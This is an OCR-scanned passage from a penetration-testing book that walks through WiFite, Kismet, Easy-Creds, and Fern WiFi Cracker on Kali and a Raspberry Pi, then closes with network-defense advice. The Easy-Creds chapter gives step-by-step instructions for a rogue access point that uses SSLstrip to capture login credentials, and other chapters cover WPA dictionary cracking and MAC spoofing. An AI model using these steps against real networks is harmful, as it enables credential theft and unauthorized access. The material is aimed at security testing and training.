i~ wifite -e "Vulnerable" --dict fusr/share/wordlists/ro

You can use the “- all” switch with an encryption switch (-wpa) to attack all networks detected that
use WPA. Additionally, you can use the power switch (-p 60) and wps switch (-wps) to crack all
Wi-Fi networks using WPS that have a power rating over 60 decibels.

Conclusion

In this chapter we demonstrated how to use the WiFite program to discover and test network security
from an easy to use menu driven system. We also discussed how to use command line switches with
WiFite to customize our tests.

Wifite 1s a streamlined program that allows you to perform wireless network pentesting very quickly.



Chapter 28 — Kismet

Introduction

If you need to scan your company to see what Wi-Fi networks are actually out there and need to
create a report on it, Kismet is a great tool.

Kismet does an amazing job of finding and recording access points & clients, and logs them in
several different formats.

Scanning with Kismet
Kali Linux>Wireless Attacks>Wireless Tools>Kismet

1. Start Kismet from the menu to see its options, or just type, “kismet” at a terminal prompt.

-~ Kismet Sort View Windows

hot
annec ted

2. Click “ OK” at the “Kistmet running as root” message.

3. Click “Yes” to start the Server.

[ Yes ]

4. Atthe Server Options screen you can just take the default values and select start.



[ Start ]

5. The console window will open and in a second or two a screen will open that will ask you to
select a capture interface. At the “Add a Source Now” prompt click “Yes™.

6. In the “Add Source” pop-up window type in your wireless card interface name on the Intf
line. You can use “wlan0 or even “mon0” if your Wi-Fi card is already in monitoring mode.
Optionally you can add a descriptive name for your interface. Then click “Add "

Intf

7. That 1s 1t! Kismet begins recording all traffic that it sees. Simply click the “Close Console
Window” button to close the console screen to see the graphical interface.

8. The Console Windows closes and we will now see the main program interface:
- Kismet Sort View Windows —
- IL_IF'T'H,I
HPIHDIHH
ts P.-|r kets

Pkt /Sec

Filtered

INFO: Detected new probe nete

INFO: Detected nes

This might look a little confusing at first, but basically detected networks and devices show up in the
upper left corner. The bottom graph shows detected traffic, yellow represents packets, where the red
represents data.



You can use the “View” and “Sort” menu options to decide what data to show on the screen, and how
it 1s sorted. Play around with the different Sort options to get a hang of it.

The longer Kismet runs the better view you will get of the surrounding environment.

Additional Information:

You may have heard of the term “War Driving”.
Basically what this means is to drive around town
with a Wi-Fi monitoring program and grab area Wi-
Fi information. Kismet is a program that is used
quite frequently for war driving.

Simply run Kismet on your laptop as you drive
around. Add a GPS source (like a smart phone) and
Kismet will add GPS location to each network that it
discovers. When you are done you can create a nice
map of area Wi-Fi networks.

9. When you feel Kismet has run long enough, click on the “Kismet” menu option and then
“Quit”.

10. You will then be asked if you want to Stop the Kismet Server, go ahead and click “Kill”:

[ Kill ]

Kismet will then stop the service, shutdown and leave us at a terminal prompt. Great, so what do we
do now?

If you look in the shutdown messages, you will see that several Kismet Logs were created:
[SERVER] INFO: Closed pcapdump log file 'Kismet-28138905-85-56-58-1.pcapdump’,

In Kali, Kismet dumps these files to your root directory. Notice the files names are Date/ Time
stamped. The time stamp helps especially when you run Kismet several times over numerous days.

Analyzing the Data



Now we will take a moment and look at the data that we collected. Go ahead and surf to your root
directory, and list the files with the “/s” command:

This is where the fun starts, all the information gathered is located in these files.

® .Pcapdump contains a packet capture of the entire session!

® _.Alert contains any alert data that was generated

® .Gpsxml contains GPS data if you used a GPS source

® _.Nettxt contains all of the data collected in a nice text output

® .Netxml contains all of the data in XML format
Kismet PCAP Beacon Frame Analysis in Wireshark

Notice the first file is a pcap file or a packet capture file. This means that we can open the file in a
program like WireShark and view every beacon packet that Kismet detected.

1. Start Wireshark (“wireshark & at a terminal prompt).

2. Load in the pcapdump file. “File” then “Open”, select the pcapdump file in the Root directory

and click “Open”.

Places M ame w  SiIe Modified
L Search il recon-ng DEf1S2013
=) Recently Used cracked txt 44 bytes Saturday

H_ﬁ_._i Kismat-20130909-06-43-31-1 alert Dbytes: D643

B Deskiop i| Kismet-20130909-06-43-31-1.gpsxml 264 bytes 06:50
2 File System Kismet-20130909-06-43-31-1 nettxt 7.3 KB 06:48

& Mallv3 | Kismet-20130909-06-43-31-1.netxml 15.7 KB D648

Floppy Drive Kismet- 201 30909-06-43-31-1 pcapdump 122.4 KB 06:50
Kismet-20130909-06-54-43-1 alert Dbytes  06:54

¥ Kismat-20L130909-06-54-43-1.gpsxml 264 bytes D6:56
Kismet-20130909-06-54-43-1 nettxt 1.8 KB D6: 56

w| Kismet=20130909-06-54-43-1 netxml T1EKB D6:56
Kismet-20130909-06-54-413-1 pcapdump 13.7 KB D6:56

3. The pcap file will open in WireShark and you can view all of the beacon control frames:



Nao. Time Source Destination Protocol Length Info

AsustekC Broadcast | 245 Beacon frame, SN=1301, FN=O,

2 0.102497 AsustekC_ Broadcast 802,11 245 Beacon frame, SN=1302, FN=0,
3 0.204995 AsustekC Broadcast 802.11 245 Beacon frame, SM=1303, FN=0O,
41.101794 AsustekC_ Spanning-tre802.11 114 Data, Sh=1312, FN=0, Flags=.
5 1.229237 AsustekC_Broadcast 802,11 245 Beacon frame, SH=1314, FN=0O,
£1.331204 AsustekC Broadcast 802.11 245 Baacon frame, SN=131%, FN=0O,
7 2.252783 AsustekC_Brosdcast E0Z.11 245 Beacon frame, SM=1324, FN=0,
B 2.355122 AsustekC_ Broadcast 802,11 245 Beacon frame, SH=1325, FN=O,
g 2.457627 AsustekC Broadeast 802.11 245 Baacon frame, SN=1328, FN=0O,
10 2.560004 AsustekC_Broadcast 802,11 245 Beacon frams, SM=1327, FN=0,
11 4.652438  AsustekC_HonHalPr_0a 802,11 62 Qo5 Mull function (Mo datal,
12 5.734564 AsustekC Broadecast 802.11 245 Baacon frame, SN=1362, FN=0O,
13 5.837180 AsustekC Broadcast 802.11 245 Beacon frame, Sh=1363, FN=0,
14 5,939388  AsustekC_Broadcast 802,11 245 Beacon frame, SM=1364, FN=0,

As you can see, kismet recorded the network communication of any beacon packet that it detected
during the scan. Beacon packets are basically management packets that Wi-Fi devices send out to
advertise their service.

Kismet Text File Analysis
Lastly let’s look at the text file.

1. Open the text file in your favorite text editor, or you can just “cat” the file. For demonstration
purposes I will use Leafpad that comes with Kali.

Kismet-20130909-09-56-59-1.nettxt
File Edit Search Options Help
Mon Sep B 10:30:30 2013

Network 2: BSSID ©8:60:
Manuf 1 AsustekC
First : Mon Sep 9 18:03:55 2013
Last : Mon Sep 9 10:31:58 2013
Type r Anfrastructure
BSsID : 98:60:

SSID 1

Type : Beacon

SSID 1 """ (Cloaked)

First : Mon Sep 9 18:83:55 2013

Last : Mon Sep 9 1©:31:58 2013

Max Rate : 54.08

Beacon : 10

Packets 1 2137

Encryption : WPA+PSK

Encryption : WPA+AES-CCM

The text file gives us a ton of information, listing each Wi-Fi network as shown above. It labels each
Access Point as a Network, and then lists each client that connected to it as below:

Client 1: MAC
1C:30:8A:00:00:00
Manuf: Hewlett-
Packard

First: Mon Sep 9
10:09:16 2013
Last: Mon Sep 9
10:09:16 2013
Channel: 7




\ Max Seen: 1000

Conclusion
We can learn a lot about the networks around us by simply running Kismet and analyzing the logs.

When analyzed, the logs could show us if clients are connecting to wireless networks that they
shouldn’t be and could also reveal rogue Wi-Fi routers that should not be active at all in your

organization.

Lastly, the XML logs that we didn’t talk about can be used by other programs to create interactive
maps or graphs.



Chapter 29 — Easy Creds

Introduction

Easy-Creds is a great menu driven program that allows you to turn a wireless card into a complete
wireless Access Point attack platform. Easy-Creds creates a rogue access point, and then runs as a
man-in-the-middle type attack analyzing the user’s data stream and pulls account information from the
stream including passwords entered on secured websites.

It is able to recover secure accounts by removing any SSL encryption by using the ever popular
program SSL strip. Basically SSL strip captures and manages HTTPS SSL communications on the
browser’s behalf, dropping the user’s session down to a regular HTTP connection.

That way any account information can be captured and read before it is forwarded to the SSL
encrypted website.

Installing Easy-Creds

Easy-Creds while a part of BackTrack 5 is not installed by default in Kali. We will install easy-creds
using the author’s install script. As this is not installed from a Kali repository, it could break
something else, so install at your own discretion.

1. Download from “http://code.google.com/p/easy-creds/downloads/list”.
2. Unzip the file using the command: “tar -xvf easy-creds-3.8-DEV.tar.gz”
3. Change into the newly created easy-creds directory.

4. “cat README" to read the install directions if you desire.

5. Type “sudo ./installer.sh” to run the installer script and you will see the main install screen:



i LardE|
Installer

6. Choose number 1, “Debian/Ubuntu and derivatives”.

7. You will then be asked to select an install directory, I just took the default:
de the path you'd like to place the easy-c
[*] Installing pre-reqs for Debian/Ubuntu. ..
Running 'updatedb’

cmake is not installed, will attempt to

The install routine will now check to see what processes are installed and try to install and configure
many of the supporting programs that Easy-Creds needs to run:

[*] Running 'updatedb’

cmake is not i : ill attempt to install.
[+#] ¢ alled from T']l—l repository
found gcc
found g+-

ST -|.'—|j on you
ev is not installed,

This could take a while depending on what utilities you already have installed. When it is finished
you should see a message like the one below:

stuff

.happy hunting!




Creating a Fake AP with SSL strip Capability

Now let’s fire up easy-creds and create a fake Access Point.

1. To run the program, just type, “easy-creds” at a terminal prompt:

At any time, ctrl+c to cancel and return to the main menu

1. Prerequisites & Configurations
2 2 ing Atte

acks

Quit current poisoning session

2. Select option 3, “FakeAP Attacks”.
3. Then Option 1, “FakeAP Attack Static”:

At any time, ctrl+c to cancel and return to the main menu

1. akelAP Attack Static
5 ) EvilTwin

4]

=

6. Previous Menu
Choice; '..
4. Type, “N” at the “Would you like to include a sidejacking attack?” prompt.

5. Type, “eth0” when asked for the interface connected to the internet:

MNetwork Interfaces:

Interface connected

Chipset

Atheros ARSZ/1 athSk - [phy0]

interface name (ex. wlan@): wlan@

7. Now enter a name for your Access Point, I chose “EvilWiFi:



55 interface name (ex. wlanB®) : wland

ESSID you would like your rogue AP to be called, example FreewWiFi: EvilWiFi

9. Now your wireless card will be put into monitoring mode, and a monitoring interface will
be created. Input the name of the interface created (usually mon0):

[*] Your interface has now been placed in Monitor Mode

mond Atheros ARS271 athSk - [phy@]

Enter your monitor enabled interface name, (ex: mon@): monG@

10. Next you will be asked if you want to change the mac address of your wireless card to be
stealthier. I just chose “/N” for this example.

11. Lastly enter your Tunnel interface, usually “at0”:

Enter your tunnel interface, example atd: atBI

12. Answer “N” to the next question, “Do you have a dhcpd.conf file to use? [y/N]”

13. Now select the network range that you want your Rogue Wireless network to run in, I just
took the default of “10.0.0.0/24”:

14. Easy-Creds will now start up the DNS server and display the IP address for it. Simply
enter the IP address it gives you:

And that is it, you made 1it!

Easy-Creds now has everything it needs and will start the rogue Wi-Fi network, startup SSL strip to
remove strip any secure communication and start up several utilities including Ettercap.

0 clients that connect to us.

Configu

Setting tables to handle traffic seen by the tunneled interface.
Launching Tail.

In a few seconds you will see several utility windows open. All we need to do now is wait for
someone to connect and start surfing the web.

Recovering passwords from secure sessions
When a user connects to our EvilWi-Fi network, they will be given an IP address and be able to
access the internet through our wireless card. If they surf to a secure site, SSL strip will work in the



background and remove any secure connections so we can read username and passwords entered.

The screenshot below shows a user connecting to Windows Live from an iPad and try to login to read
their e-mail:

SSLStrip

poerver-Lonnect Lon, py

HCP: [10.0.0,1] OFFER & 10.0.0.100 256,265 265.0 M 16,0.0.1 INS 192.168.199.2

wCP: [CE:BC: ] FEOUEST 10,0,0,100

P | A,1] ACE 3 100,000 255265 260.0 G 10.0.0.1 IS 192.168.1538,2

HTTF ¢ 131,253.61.82:80 =>[USER: cuberarmsdl|ive.com PRGS: password | INFO: httpis/login.live.com/log
'.",:rl:':’u:-':i::l-_nll'ul."'t-r| = TheE -lml:h:b'.'H:ht-r'-t—"-'-'.h..l,b_"l:..?li-w =1:) _‘:U._‘}*F'F’EU-‘-LF&::|.'_|-h!1..'-'. oSomail, b
He.-:f.---'h«a:-]-:-'ill??-'-'.d'-EdE!

As you can see in the Ettercap tunnel screen, the user tried to log into Windows live with the
username “cyberarms@live.com” and the password of “password”.

1. Now on the main menu select option 4, “Data Review’:

At any time, ctrl+c to cancel and return to the main menu

.onfigurations

Quit current poisoning sessit

Cholca: 4

2. Select number 3, “Parse ettercap eci file for credentials’:



At any time, ctrl+c to cancel and return to the main menu

At any time, ctrl4c to cancel and return to the main menu

INFO: h

Here you can see the user name & password along with the site that they tried to access.

Remember that our “victim” visited an ssl encrypted HTTPS site and the login credentials should
have been encrypted. But by using Easy Creds we were able to intercept the traffic, strip off the
encryption with sslstrip and view the login credentials in plain text.

Conclusion
In this tutorial we saw how to create a rogue wireless access point that could recover user account
information from secure websites using Easy-Creds.

This technique would work very well for a penetration tester who 1s able to gain physical access to a
company and setup a Rogue Wi-Fi system to intercept user credentials.

This section should also be a warning to corporate security teams that it is fairly trivial to set up a
rogue Wi-Fi Access Point. Scanning for rogue devices should be a fairly common practice if a
company relies heavily on Wireless networking.



PART SEVEN - Raspberry P1




Chapter 30 — Installing Kali on a Raspberry Pi

Resources
® Kali Raspberry Pi ARM Image - http://www.kali.org/downloads/

® Win32 Disk Imager - http://sourceforge.net/projects/win32diskimager/
® Putty Download - http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html

® Xming - http://sourceforge.net/projects/xming/

Introduction
In this chapter we will learn how to install Kali Linux on a Pi, connect to it remotely via Windows 7
and use it to perform some basic wireless security tests.

Kali Linux is the newest version of the ever popular Backtrack penetration testing and security
platform. Numerous updates and enhancements have been added to make Kali more capable and
easier to update than ever before.

(Note: Occasionally I have noticed that certain programs will not run from the command prompt
on the ARM version of Kali. You may need to execute them from their program directory under

/usr/bin.)

Raspberry Pi is a very inexpensive fully functional “credit card” sized computer that comes in two
models. The newer “B” model, used in this article, has 512 MB RAM, video output, a NIC, sound
jack and dual USB ports and amazingly only costs about $35 (USD).

The Pi has an ARM based processor, and comes preloaded with an operating system. But other
operating systems compiled for ARM can also run on the Pi.

The good folks at Offensive Security have created a Kali Linux image for the Raspberry Pi, so
installation could not be easier. All you need is a Raspberry Pi, the Kali Image, and an SD Card. We
will also use a Windows system to write the image to the SD card, and then use it to connect to the Pi
via SSH.

REMINDER: As always, never connect to or access a network that you do not have express written
permission to access. Doing so could get you into legal trouble and you might end up in jail.

Pi Power Supplies and Memory Cards

Before we get started, let me quickly cover power issues with the Raspberry Pi. A Power adapter
does not normally come with the Pi. If the adapter you use does not provide enough amperage the Pi
will act erratic, especially when you try to plug in the Wi-Fi card.

The manufacturer recommends that you use a 2 amp power supply. Many micro USB power adapters
only provide one amp or less. [ have had very good luck with a 2.1 Amp adapter from Rocketfish.


http://www.kali.org/downloads/
http://sourceforge.net/projects/win32diskimager/
http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html
http://sourceforge.net/projects/xming/

The P1 also comes without a required SDHC memory card. An easy rule to follow when selecting a
card is, the faster the better. I used a Sony 16GB Sony memory card with a stated transfer rate of
I15MB/s.

Any data on the card will be wiped during install.

Installing Kali on a Raspberry Pi
Let’s get started by downloading and installing Kali Linux on the Pi. See software download URL’s
see Resources section above.

1. Download the Kali Linux Raspberry Pi ARM Image to your Windows system.
2. The image file is compressed so you will need to expand it.

3. Next, install the image to your SD card using Win32 Disk Imager.

Just plug your SD card into your Windows computer and run Disk Imager. Point it to your Kali image
that you downloaded and select the drive letter of your SD card.

Then just hit, “Write”:

Win32 Disk Imaget =een X7

Image File Device

{Downloads kaliHinux-1.0-armel-raspberrypi.imgkali-custom-rpi.img [E:\] v|

| MD5 Hash:

Progress
Version: 0.7 Cancel | Read W

11.9617MB/s

Disk Imager will write the Kali Linux image to your SD card.

4. Now eject the SD card from Windows and insert it into the SD card slot on your Raspberry

Pi. Connect your video, Ethernet cable, keyboard and mouse.

5. Connect power to the Raspberry Pi and in a few seconds it will boot up into Kali.

That is i1t! You know have a Raspberry Pi Pentesting platform!

Restart the Pi and let it boot up into Kali. Running the P1 with a keyboard and monitor attached is a
good way to get started. You may want to play around a bit with it before we move on.

Connecting to a “ Headless ” Piremotely from a Windows system

You can also run the Pi “ headless ” or without a keyboard and monitor. You can control the Pi
remotely over the LAN from our Windows box through SSH. You don’ t really need to do this, and if
you don ’ t want to you can go ahead and skip ahead to the next chapter if you would like.


http://sourceforge.net/projects/win32diskimager/

But running a P1 headless does add some interesting capabilities.
To do so:
1. Download Putty for Windows.

2. Run Putty and enter the IP address for your Kali System. You can get this by typing “ifconfig”
if you have a keyboard attached or by checking the address given to it by your router if you
are running Kali headless.

My IP address is 192.168.1.135.

3. Make sure port 22 is entered and select “SSH " as the connection type as shown in Figure 2:

ﬁ PuTTY Configuration LﬂF-]

Categony:
i =R Sgssiu:un ' Basic options for your PuTTY session
‘ TE"" I_.c'glging Specify the destination you want to connect to

if ?iml'é;fbuard Host Mame (or [P address) Port

. Bell 192.168.1.101] 2
: ‘... Features Connection type:
= Window Raw Telnet (7) Rlogin @ SSH Serial

Figure 2: Configuring Putty to connect to the Pi
Then just hit “Open’.

You will be asked to log into the Raspberry Pi. If this is the first time, just use the Kali default
credentials:

Username: root
Password: toor

That’s it!

Now you can run any of the text commands you want on your Raspberry Pi remotely from your
Windows System.

Viewing Graphical X Windows Programs Remotely through Putty
Okay, you can run any text based program through Putty, but if you try to run a graphical program it



will not work. We can run the X based programs over a remote Putty connection if we use Xming, the
X Server for Windows.

1. Simply download and install Xming.

.
K Setup - Xming =l

Select Components
Which componerts should be installed?
o

Select the components you want to install; clear the components you do not want to
ingtall. Click Mext when you are ready to continue.

i [Cusmm installation -
| ¥ming binany 41 MB

[¥] Mon US Keyboard support J4MB

¥Launch wizard - frontend for Xming 1.0MB

[#] Fun utility - start programs with hidden console window 01 MB

(71 Momal PuTTY Link S5H client 0.3 MB

() Portable PuTTY Link S5H client - use with Portable PuTTY 0.3MB

©

Cument selection requires at least 5.0 MEB of disk space.

| <Back || Med> | | Cancel |

2. When asked which components to install click, “Don’t install an SSH client” and finish
installation .

3. Now open Putty again and put in the IP address and port for your Raspberry Pi:

ﬁ PuTTY Configuration
Category:
- Session Basic options for your PUTTY session
oy L_oglging Specify the destination you want to connect to

' Tmlili;:huard Host Name jor IP address) Port
e 192.168.1.125 2
- Featuras Connection type:

= Window (Z)Raw () Telnet () Rlogin @ SSH () Serial
’D‘F'F'EE'F”CE Load, save or delete a stored session
- Behaviour
R Saved Sessions
- Selection
- Colours Default Settings Load

- Connection PwnFi
.. Data fred -Sa'u'e
il
- Rlagin

[+~ 55H
- Senal Close window on exit:
() Aways ) Mever (@ Only on clean ext

About [ Cpen ] [ Cancel




4. Then expand the SSH Connection tab on the left under Category and then click on X11 as

seen below:
% PuTTY Configuration ‘ . ﬁ
Category:

- Keyboard | Options cgrr.trql!ipg. 55H }{11 fu:n_rwa!rding
Eegt ¥11 forwarding
- Features i

e Vi ! Enable X11 forwarding
- Bppearance X display location localhost:0f
- Behaviour Remote X11 authentication protocol
- Translation @ MIT-Magic-Cookie-1 " XDM-Authorization-1
- Selection ¥ autharity file for local display
- Colours

[=- Connection @
- Data
- Prooy |
- Telnet [

5. Enable X11 forwarding and type in “localhost: 0" as the X display location.
6. Go ahead and start the putty session (make sure Xming is running in the background).
You will now be able to view graphical programs remotely over your SSH connection.

Just a note, the command ““startx” isn’t going to work right when ran over Putty. If you really must
have the desktop up, with X11 forwarding enabled all you need to do is simply type:

@kali:/# xfced-session

This will start a desktop session over X and you will be able to see the whole Kali desktop remotely
on your Windows System as seen below:



AL LONO

The desktop is not required though, and in many cases it is much easier to just run the commands from

the command prompt without starting the desktop. Doing so will also save some precious resources
on the Pi.



Chapter 31 — WiFi Pentesting on a Raspberry Pi

Resources
e Verified Raspberry Pi (Not Kali) Peripherals - http://elinux.org/RPi_VerifiedPeripherals

Basic Wi-Fi Pentesting using a Raspberry Pi
Most of the commands that run in Backtrack 5/ Kali will have no problems running on the Raspberry
Pi. Playing with Wireless Penetration testing with the Kali on PI works very well, and is a lot of fun.

Simply plug your USB Wi-Fi adapter into the Pi. I used a TP-Link TL-WN722N Wi-Fi adapter with
an antenna.

One thing I noticed, you may need to power cycle the Pi if it doesn’t boot up right after plugging in
your Wi-Fi adapter.

At the command prompt type “ifconfig” and check to see if your Wi-Fi adapter is listed. It should
show up as wlan0. If you don’t see it, type “ifconfig wlan0 up”. Then run “ifconfig” again and it
should show up:

Next let’s see what networks our wireless card can see.

® Type, “iwlist wlan0 scanning’:



Excellent, it looks like everything is working. Now let’s run some of the basic Aircrack-NG tools.

First we need to put our wireless adapter into monitoring mode. This 1s a special mode that allows us
to capture and view wireless signals.

® Type “airmon-ng wlan0 start’:



This creates a new wireless adapter called “mon0”. Now we can use this interface to capture
wireless management and control frames.

To do so, we will need a packet capture program. You could use tcpdump by simply typing tcpdump
-i mon(0. Or you could use tshark, the text version of Wireshark.

But what’s the fun in that? I like graphical interfaces!

With Xming running you can just start Wireshark as you normally would and it will show up on your
Windows system.

1. Type, “wireshark & at the command line.
2. Then just select your monitoring interface (mon0) and click “Staret”.

Interface List

¢ Live list of the capture interfaces
(counts incoming packets)

gy

@L Start
Choose ane or more interfaces to capture from, then Start

;:T' Lirusx methlter log (MFLOG) intarface: rflog

;_;r | Pseudo-device that captures on all interfaces: any j

You will now be able to capture any Wi-Fi control packets within range:
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A quick search for Probe Responses and you can see the SSID of any “Hidden” Wi-Fi Access Points.
In the Wireshark snippet below we see the hidden access point named “Hidden’:

Probe Response SN=3521, FN=0, Flags=.....C, BI=100, SSID=Hidden
As you can see hiding your Wireless name is not an effective means of securing a network.

MAC Filtering is not very effective either, as you can monitor an individual access point with
airodump-ng and get the MAC address of any system that connects to it:

Airodump-ng -¢ (AP Wireless Channel) -a -bssid (MAC Address of AP) mon(

Then you simply spoof your MAC address using a program like macchanger and you can connect
without any problems.

WEP and WPA/WPA2 Cracking

You can use the A irmon-ng tools to manually attempt to crack WEP and WPA keys, but it is much
simpler for new users if you use “Fern WiFi Cracker”. Fern puts a graphical program interface to
Airmon-ng, and includes the Reaver WPS protected setup attack, and several other useful tools.

To start Fern in Kali:
1. Type, “fern-wifi-cracker” at the command prompt.

2. Simply select your interface and click “Scan for Access Points”. After a short while any
detected Wi-F1 networks will show up next to the WiFi, WEP, or WPA buttons:
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3. Now select the Wi-F1 button you want to attack and a list of detected APs will show up. We
have a lab WPA 2 router up and running named “Vulnerable Router” that we will use in this
example.

4. Next select the “Regular Attack” button, and pick a dictionary file (common.txt is included
with Fern).

5. And finally click “WiFi Attack”.

Fern will then then Deauthenticate a client from the AP so it can capture an authentication key when
the computer tries to reconnect. It then tries to crack the key using the dictionary file provided.

If the dictionary file contains the password you should see this:

WPA Key: password — Wow, a password of “password”, not a smart way to secure anything. You
would definitely not want an AP like that attached to your corporate network.

We now have the access key to the Wi-Fi network, and depending on the level of testing needed,
could continue to penetrate deeper into the network if necessary.



As mentioned earlier, MAC filtering is not an effective means of securing a wireless network. If you
look in the image above, across from ‘Handshake Captured’, you can see that Fern was kind enough
to give us the MAC addresses of any client connected to the AP in a drop down box.

Conclusion

In this section we learned how to install and run Kali Linux on a Raspberry Pi Computer. We also
learned how to connect to it remotely from a Windows system and use it to run some basic wireless
pentesting using Fern.

Hopefully we demonstrated that trying to hide your wireless network or use MAC filtering for
security are not effective means of protecting your network. Also Fern WiFi cracker would make
short work of any wireless AP protected by a weak password key.

If an attacker can gain access to your network via Wi-Fi, they could use the foothold to attack deeper
into your infrastructure. It is imperative to use strong complex WPA2 passkeys for small to medium
businesses and home offices, or RADIUS servers in a corporate environment.

You should also scan your network frequently to be sure there are no rogue or “employee installed”
access points on your network. Testing your network for rogue, or weakly secured access points
should be a part of every company’s security routine.

While Wi-Fi pentesting on a Raspberry Pi may not make the most sense for large companies, but it is
a very cost effective solution. To be able to run Kali on a credit card size $35 computer and be able
to test wireless security with it is just incredible.

It could also be a very interesting solution for professional pentesters. The Pi comes with not one, but
two USB adapters. And if paired with battery power, could be used in many creative ways.
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Chapter 32 — Network Defense and Conclusion

Resources

® Choosing and Protecting Passwords - http://www.us-cert.gov/ncas/tips/ST04-002

® Avoiding Social Engineering and Phishing - http://www.us-cert.gov/ncas/tips/ST04-014

® Staying Safe on Social Network Sites - http://www.us-cert.gov/ncas/tips/ST06-003

® Using Caution with Email Attachments - http://www.us-cert.gov/ncas/tips/ST04-010
® Vulnerability Scanners - http://sectools.org/tag/vuln-scanners/

Introduction
We spent a lot of time covering offensive security techniques in this book. We will wrap things up
with a quick discussion on securing your network systems from these types of attacks.

We will briefly cover:

® Patches & Updates

® Firewalls and Intrusion Prevention Systems (IPS)
® Anti-Virus/ Network Security Programs
® Limiting Services & User Authority

® Use Script Blocking Programs

® Using Long Complex Passwords

® Network Security Monitoring

® Logging

® User Education

® Scanning your network

® And Finally, using Offensive Security

Though no system can be guaranteed to be 100% secure, we can make our systems much tougher to
compromise by using these techniques.

Patches & Updates
Use the latest versions of Operating Systems if it is at all possible. Using outdated Operating Systems
in a network environment with internet connectivity is really not a good idea.

If you are using Windows XP, I highly recommend updating to at least Windows 7. Microsoft’s
Official support for Windows XP (and Office 2003) will come to an end in April, 2014 '. This means
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it will no longer receive security updates or support.

Make sure your operating systems and all software is up to date. In addition, also make sure Adobe
products, Java, and internet browsers are regularly patched, along with Office software.

Make sure the hardware firmware on all of your devices, especially internet facing devices (Routers,
Switches, NAS, Cameras, Embedded Server Devices, etc), are current and checked regularly.

If you are in a large corporate environment, never place complete trust in automated patching and
updating management systems. Manually check important systems regularly. I have seen multiple
corporate servers error out on automated critical service packs installs, yet the patch management
server displayed that all servers updated without error.

Firewalls and IPS

Always use a firewall, do not attach any systems to a live internet connection without using one.
Firewall your incoming internet connection and also make sure that each individual system is using a
software firewall.

Create an Ingress and Egress Rules policy to monitor or control information entering and leaving your
network. At the simplest level, block communication with nations that you will not be doing business
with. More advanced systems will allow you to control what type of data and protocols are allowed
to enter and leave your network.

Use a Web Application Firewall to protect web application servers. Though these do not guarantee
that you will stop all malicious attacks against your web app. Application security experts highly
recommend that your web apps are securely written and tested for exploit even when a WAF is in
place.

Intrusion Prevention Systems are great, they are even better when used in a Network Security
Monitoring type system (see topic below).

Anti-Virus/ Network Security Programs
Honestly, I am torn on Anti-Virus programs. Though they do stop many threats, but in 20 years of
computer support I have also seen them constantly bypassed.

Any determined modern hacker is going to research your company to try to find out what Anti-Virus
program you use. Then they will tailor their exploit code to bypass that brand of AV. If they can ’t find
out what you are running, they will go with one that bypasses most of the big named AVs.

Not all Anti-Viruses are created equal. Some AV/ Internet security programs have gotten very good at
blocking scripting based threats which seem really popular.

Do some homework and find out how the top anti-virus programs fare against current threats, and then
pick one that best meets your company needs.

Limit Services & Authority Levels
Turn off network services and protocols on servers and systems that are not needed. The less attack
surface a server has the better. Microsoft has aided in this over the years by changing their server



product to come with basically nothing running by default, you add services as needed.

Also, take old servers offline as soon as possible. Many times companies will leave an old server
online, in case they need something from it, and over time it is either forgotten or not updated.

Never let everyday users use elevated security credentials for non-administrative tasks. Heavily
restrict “Root” and “Administrator” level use. On a Windows system it is almost trivial to escalate a
compromised administrator account to the god-like “System” level account. This is much more
difficult if the compromised account is just at “user” level.

System administrators should only use admin level accounts when performing administrative
functions, then switch back to a non-admin account for normal computing functions.

Use Script Blocking Programs
Many modern online threats use some level of web scripting language. Use a script blocking program
like the Mozilla Add On “NoScript”, by Giorgio Maone, is an easy fix to block a lot of threats.

NoScript blocks scripts from automatically running on any new website that you visit. It also makes it
very easy to allow some scripts to run, or completely whitelist a website.

NoScript also remembers your settings so scripts will be blocked or allowed automatically when you
visit frequent sites.

I also like the Mozilla Add On “Ghostery”, by José¢ Maria Signanini, and Felix Shnir. Ghostery
allows you to block tracking scripts, analytics and unwanted advertising on websites.

Finally, when practical enable privacy features in web browsers. Do not let them store passwords or
history, and use a program like Bleachbit occasionally to clean out browser caches.

Use Long Complex Passwords

This should go without saying, but use long complex passwords not only for your computer systems
(and online devices!), but also all of your online accounts. The longer, and more complex your
password is, the longer it will take for an attacker to crack it.

Use a combination of Upper and Lowercase Letters, numbers and symbols.

In a recent security test, I found that a client used a person’s name as a web application administrator
password! The program I used to test the strength of web app passwords was able to crack it in just a
few seconds.

None of my passwords are shorter than 15 characters, with very important ones being much longer.

Use a different password for each online account that you have, that way if one is compromised, the
attacker will not be able to use it to gain access to other accounts you own.

Network Security Monitoring

[ am a huge fan of Network Security Monitoring (NSM). If you run your own network and don’t know
what that 1s, run out (don’t walk) and buy “The Tao of Network Security Monitoring, Beyond
Intrusion Detection”, by Richard Bejtlich.



Basically NSM is a system of capturing all of your network traffic, sometimes at multiple points in
your network, and analyzing it for intrusions or anomalies.

If you think that you can’t afford a NSM system, think again. One of the most commonly used one is
free!

“Security Onion’”, created by Doug Burks, is an extremely capable and feature rich NSM that is

completely free. All you need is a fairly decent computer to run it on, a network tap and at least two
network cards.

Security Onion allows you to capture network traffic and then analyzes it for issues and notifies you
with alerts in a fairly easy to use interface.

Below are a couple screenshots of Security Onion in action. The first one shows a slew of alerts that
are triggered when I tried to run Backtrack’s (the previous version of Kali) Autopwn against a system
on the network:
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As you can see there are multiple warnings and alerts. The last line records 172 (CNT column)
incidents of one alert!

Security Onion is also capable of capturing TOR use on your network. TOR is an anonymizing
protocol that uses encrypted communication that is bounced around the world to help anonymize
users. TOR can be used for good, but hackers also use TOR to hide their attacks.

Here is what happened why I used TOR on my test network monitored by Security Onion:
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Notice that multiple yellow “Known TOR Exit Node Traffic” alerts are raised.

Security Onion has a slew of features & tools, makes analyzing & tracking network traffic much
easier, and also alerts you when it sees suspicious traffic.

Logging
This 1s basically a continuation of the previous topic. Make sure security logging is enabled on
critical switches, routers, firewalls and systems.

Preferably have critical devices and systems send security logs to a syslog server so you can have a
secondary copy of them (in case hackers wipe system logs) and to make incident response easier.

This helps in tracking down malicious users and traffic across devices if the worst does happen.

Many of the basic level firewall routers even include syslog capability now.

Educate your users

All of your “security in depth” is useless if your users allow malicious programs to run on your
network. One of the most common ways hackers get into your internal network is when users run a
malicious attachment from an e-mail or run a malicious script from a website.

Teach users to avoid opening unsolicited or suspicious attachments, or from visiting suspicious
websites.

Some companies have had success with putting up signs encouraging safe computer surfing techniques
and reminders on using complex unique passwords on online accounts.

For more information, the US Computer Emergency Response Team (US CERT) has put together a
